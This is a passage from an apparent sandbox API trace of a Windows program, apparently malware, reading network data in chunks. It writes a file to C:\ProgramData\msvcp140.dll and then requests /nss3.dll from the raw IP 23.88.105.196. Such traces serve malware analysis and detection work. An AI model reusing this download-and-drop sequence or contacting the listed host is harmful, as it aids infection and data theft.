hFile=0xcc000c, lpBuffer=0x336afc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336afc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.981] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336b3b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336b3b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.982] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336b798, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336b798*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.982] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336bb80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336bb80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.982] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336bf68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336bf68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.983] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336c350, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336c350*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.983] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336c738, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336c738*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.983] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336cb20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336cb20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.983] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336cf08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336cf08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.984] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336d2f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336d2f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.984] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336d6d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336d6d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.984] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336dac0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336dac0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.985] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336dea8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336dea8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.985] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336e290, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336e290*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.985] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336e678, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336e678*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.985] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336ea60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336ea60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.985] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336ee48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336ee48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.986] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336f230, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336f230*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.986] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336f618, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336f618*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.986] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336fa00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336fa00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.986] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336fde8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336fde8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33701d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33701d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33705b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33705b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33709a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33709a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3370d88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3370d88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.988] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371170, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371170*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.988] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371558, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371558*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.988] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371940, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371940*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.988] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371d28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371d28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.989] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3372110, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3372110*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.989] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33724f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33724f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.989] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33728e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33728e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.989] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3372cc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3372cc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.990] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33730b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33730b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.990] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3373498, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3373498*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.990] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3373880, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3373880*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.990] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3373c68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3373c68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.990] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374050, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374050*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.991] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374438, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374438*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.991] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374820, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374820*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.991] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374c08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374c08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.991] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374ff0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374ff0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.991] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33753d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33753d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.991] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33757c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33757c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.992] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3375ba8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3375ba8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.992] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3375f90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3375f90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.992] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3376378, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3376378*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.992] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3376760, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3376760*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.992] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3376b48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3376b48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.993] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3376f30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3376f30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.993] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3377318, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3377318*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.993] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3377700, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3377700*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.993] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3377ae8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3377ae8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.993] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3377ed0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3377ed0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.994] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33782b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33782b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.994] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33786a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33786a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.994] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3378a88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3378a88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.994] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3378e70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3378e70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.995] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3379258, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3379258*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.995] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3379640, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3379640*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.995] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3379a28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3379a28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.995] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3379e10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3379e10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.996] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337a1f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337a1f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.996] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337a5e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337a5e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.996] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337a9c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337a9c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.996] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337adb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337adb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337b198, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337b198*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337b580, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337b580*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337b968, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337b968*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337bd50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337bd50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337c138, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337c138*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.998] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337c520, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337c520*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.998] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337c908, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337c908*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.021] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0140.022] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0140.022] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0140.022] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0140.022] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361068 | out: hHeap=0x2360000) returned 1 [0140.022] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0140.022] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0140.022] CreateFileA (lpFileName="C:\\ProgramData\\\\msvcp140.dll" (normalized: "c:\\programdata\\msvcp140.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0140.023] WriteFile (in: hFile=0x28, lpBuffer=0x3340048*, nNumberOfBytesToWrite=0x6b738, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x3340048*, lpNumberOfBytesWritten=0x19f7cc*=0x6b738, lpOverlapped=0x0) returned 1 [0140.034] CloseHandle (hObject=0x28) returned 1 [0140.073] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0140.073] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0140.073] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361068 [0140.073] GetLastError () returned 0x0 [0140.073] SetLastError (dwErrCode=0x0) [0140.073] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0140.073] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0140.073] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0140.073] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/nss3.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0140.073] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23611c0 [0140.074] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0140.074] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0140.074] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0140.074] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0140.074] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0140.074] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0140.193] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.193] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340048*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.195] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340430*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.196] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340818*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.196] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340c00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.196] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340fe8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.196] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33413d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33413d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.211] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33417b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33417b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.212] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3341ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3341ba0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.212] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3341f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3341f88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.213] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342370*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.214] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.214] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342b40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.214] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3342f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3342f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.215] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3343310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3343310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.215] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33436f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33436f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.215] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3343ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3343ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3343ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3343ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33442b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33442b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3344698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3344698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3344a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3344a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.217] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3344e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3344e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0140.217] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3345250, dwNumberOfBytesToRead=0x3e8, 